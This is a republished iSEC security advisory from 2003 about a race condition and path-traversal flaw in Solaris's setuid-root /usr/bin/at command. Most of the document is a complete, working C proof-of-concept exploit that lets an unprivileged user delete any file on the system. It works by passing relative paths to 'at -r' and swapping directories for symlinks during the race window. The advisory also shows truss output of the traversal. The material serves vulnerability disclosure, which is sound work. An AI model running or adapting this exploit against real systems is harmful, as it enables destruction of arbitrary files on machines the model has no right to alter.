Lucene search

K

isec-0008-sun-at.txt

🗓️ 27 Jan 2003 00:00:00Reported by Wojciech PurczynskiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 20 Views

Race condition in at command allows users to delete any file due to argument handling flaws.

Show more
Code
`-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA1  
  
  
Synopsis: at -r job name handling and race condition vulnerabilities  
Product: Sun Microsystems Solaris  
Version: all  
  
URL: http://isec.pl/vulnerabilities/isec-0008-sun-at.txt  
Author: Wojciech Purczynski <[email protected]>  
Date: November 1, 2002  
Update: January 27, 2003  
  
  
Issue:  
======  
  
Race condition and argument handling vulnerabilities in the setuid-root   
/usr/bin/at binary allows to remove any file on the filesystem.  
  
  
Details:  
========  
  
At utility reads commands from standard input and groups them together  
as an at-job, to be executed at a later time.  
  
Each at-job is kept in separate file in at spool directory. At jobs my  
be removed if -r option is used with a job-id parameter to the at  
command.  
  
However, there are two vulnerabilities within the code that removes  
at-job from at spool directory.  
  
At utility does not properly handle job ids specified as a parameter to  
the -r option. It allows to remove jobs outside of at's spool directory  
if relative path name is used. Only absolute path names are filtered  
out.  
  
At verifies ownership of the file and limits the user to remove only its  
own at-jobs. Unfortunatelly, a race condition occurs after at stats the  
file and before the file is unlinked. By altering directory structure  
between these two system calls, at may be fooled to remove file other  
than it expects.  
  
Since this code is executed with full root privileges, these two  
vulnerabilities may allow unprivileged users to remove any files on the  
filesystem.  
  
Below is an example of truss output that uncovers the vulnerability:  
  
bash# truss -o log /usr/bin/at -r ../../../../tmp/foo  
[...]  
chdir("/var/spool/cron/atjobs") = 0  
stat64("../../../../tmp/foo", 0xFFBEF360) = 0  
[...]  
unlink("../../../../tmp/foo") = 0  
[...]  
  
  
Exploit:  
========  
  
Below is attached a working proof-of-concept exploit. It should succeed  
after few trials (single dot is printed on each trial):  
  
- ------8<------isec-solaris-at-rm------8<------  
#include <stdio.h>  
#include <unistd.h>  
#include <signal.h>  
#include <sys/types.h>  
#include <errno.h>  
#include <stdlib.h>  
#include <sys/param.h>  
#include <fcntl.h>  
#include <string.h>  
#include <sys/stat.h>  
#include <sys/wait.h>  
  
#define maxjobs 256  
#define tmpdir "/tmp"  
#define at "/usr/bin/at"  
  
char target[MAXPATHLEN+1];  
char targetfile[MAXPATHLEN+1];  
char targetdir[MAXPATHLEN+1];  
  
void cleandirs(void);  
  
void err(char * msg)  
{  
if (errno) {  
int error = errno;  
perror(msg);  
cleandirs();  
errno = error;  
exit(errno);  
}  
}  
  
void gohome(void)  
{  
char * home;  
  
home = getenv("HOME");  
if (!home) {  
errno = EINVAL;  
err("getenv(\"HOME\")");  
}  
if (chdir(home) < 0)  
err("chdir($HOME)");  
}  
  
void cleandirs(void)  
{  
int no;  
char * tmp;  
  
for (no = 0; no < maxjobs; no++) {  
char path[MAXPATHLEN+1];  
snprintf(path, MAXPATHLEN, "%s/%i/%s", tmpdir, no, targetfile);  
path[MAXPATHLEN] = '\0';  
unlink(path);  
snprintf(path, MAXPATHLEN, "%s/%i", tmpdir, no);  
path[MAXPATHLEN] = '\0';  
unlink(path);  
rmdir(path);  
}  
}  
  
void createdirs(char ** argv)  
{  
int no;  
  
for(no = 0; no < maxjobs; no++) {  
char path[MAXPATHLEN+1];  
int fd;  
  
snprintf(path, MAXPATHLEN, "%s/%i", tmpdir, no);  
path[MAXPATHLEN] = '\0';  
  
unlink(path);  
if (mkdir(path, 0755) < 0 && errno != EEXIST)  
err("Unable to create directory");  
  
snprintf(path, MAXPATHLEN, "../../../..%s/%i/%s", tmpdir, no, targetfile);  
path[MAXPATHLEN] = '\0';  
  
fd = open(path, O_CREAT|O_RDONLY, 0755);  
if (fd < 0 && errno != EEXIST)  
err("Unable to create file");  
close(fd); /* empty file is just fine */  
  
argv[no] = strdup(path);  
if (!argv[no])  
err("Unable to allocate memory");  
}  
argv[no] = NULL;  
}  
  
pid_t spawnat(char ** argv)  
{  
int no, fd;  
pid_t child;  
  
child = fork();  
if (child < 0)  
err("Unable to fork");  
  
if (child)  
return child;  
  
/* child process */  
  
if (nice(19) < 0)  
err("Unable to change priority");  
  
fd = open("/dev/null", O_RDWR);  
if (fd < 0)  
err("Unable to open /dev/null");  
  
if (dup2(fd, STDIN_FILENO) < 0 ||  
dup2(fd, STDOUT_FILENO) < 0 ||  
dup2(fd, STDERR_FILENO) < 0)  
err("Unable to dup /dev/null");  
  
if (fd > STDERR_FILENO)  
close(fd);  
  
execv(argv[0], argv);  
err("Unable to execute at binary");  
}  
  
int doit(char * target)  
{  
int no = 0;  
char path[MAXPATHLEN+1];  
char * argv[maxjobs + 3];  
pid_t child;  
uid_t uid = getuid();  
int result = -1;  
  
argv[0] = at;  
argv[1] = "-r";  
createdirs(argv+2);  
child = spawnat(argv);  
  
while (no < maxjobs) {  
struct stat st;  
  
/* check if previous attempt succeeded */  
if (stat(target, &st) < 0) {  
if (errno == ENOENT) {  
result = 0;  
break;  
} else   
err("Unable to stat target file");  
}  
  
/* wait until file is deleted */  
snprintf(path, MAXPATHLEN, "%s/%i/%s", tmpdir, no, targetfile);  
path[MAXPATHLEN] = '\0';  
while (stat(path, &st) == 0) ;  
  
if (errno != ENOENT)  
err("Unable to stat temporary file");  
  
/* stop the child to exploit race condition */  
if (kill(child, SIGSTOP) < 0)  
break;  
  
/* find first file that hasn't been removed yet */  
while (++no < maxjobs) {  
snprintf(path, MAXPATHLEN, "%s/%i/%s", tmpdir, no, targetfile);  
path[MAXPATHLEN] = '\0';  
if (stat(path, &st) == 0)  
break;  
if (errno != ENOENT)  
err("Unable to stat temporary file");  
}  
  
/* all jobs removed - too late */  
if (no == maxjobs) {  
kill(child, SIGCONT);  
break;  
}  
  
if (unlink(path) < 0)  
err("Unable to remove temporary file");  
  
*strrchr(path, '/') = '\0';  
  
if (rmdir(path) < 0)  
err("Unable to remove temporary directory");  
  
if (symlink(targetdir, path) < 0)  
err("Unable to create symlink");  
  
if (kill(child, SIGCONT) < 0)  
err("Unable to continue child process");  
  
no++;  
}  
  
/* avoid zombie processes */  
waitpid(child, NULL, 0);  
for (no = 0; no < maxjobs; no ++)  
free(argv + no + 2);  
return result;  
}  
  
int main(int argc, char * argv[])  
{  
char * tmp;  
  
fprintf(stderr,   
"  
/usr/bin/at -r race condition exploit  
  
Remove any file on the filesystem.  
  
Bug found and exploit written by Wojciech Purczynski <[email protected]>  
iSEC Security Research http://isec.pl/  
  
");  
  
gohome();  
  
errno = EINVAL;  
if (argc < 2)  
err("Required parameter missing");  
if (argv[1][0] != '/')  
err("Absolute path required");  
  
strncpy(target, argv[1], MAXPATHLEN);  
target[MAXPATHLEN] = '\0';  
tmp = strrchr(argv[1], '/');  
*tmp = '\0';  
if (tmp == argv[1])  
strcpy(targetdir, "/");  
else {  
strncpy(targetdir, argv[1], MAXPATHLEN);  
targetdir[MAXPATHLEN] = '\0';  
}  
strncpy(targetfile, tmp+1, MAXPATHLEN);  
targetfile[MAXPATHLEN] = '\0';  
  
while (doit(target))  
fprintf(stderr, "."); /* przygarnij kropka */  
fprintf(stderr, "Success!\n");  
cleandirs();  
return 0;  
}  
- ------8<------isec-solaris-at-rm------8<------  
  
  
- --   
Wojciech Purczynski  
iSEC Security Research  
http://isec.pl/  
  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1.0.7 (GNU/Linux)  
  
iD8DBQE+NSDOC+8U3Z5wpu4RApE+AKDGTd4HGDAJsOFZ77DREcAcqyKKawCgu60c  
Ipo75aTIE3r3NMTNKqWO4NY=  
=YZYI  
-----END PGP SIGNATURE-----  
  
  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
27 Jan 2003 00:00Current
7.4High risk
Vulners AI Score7.4
20
.json
Report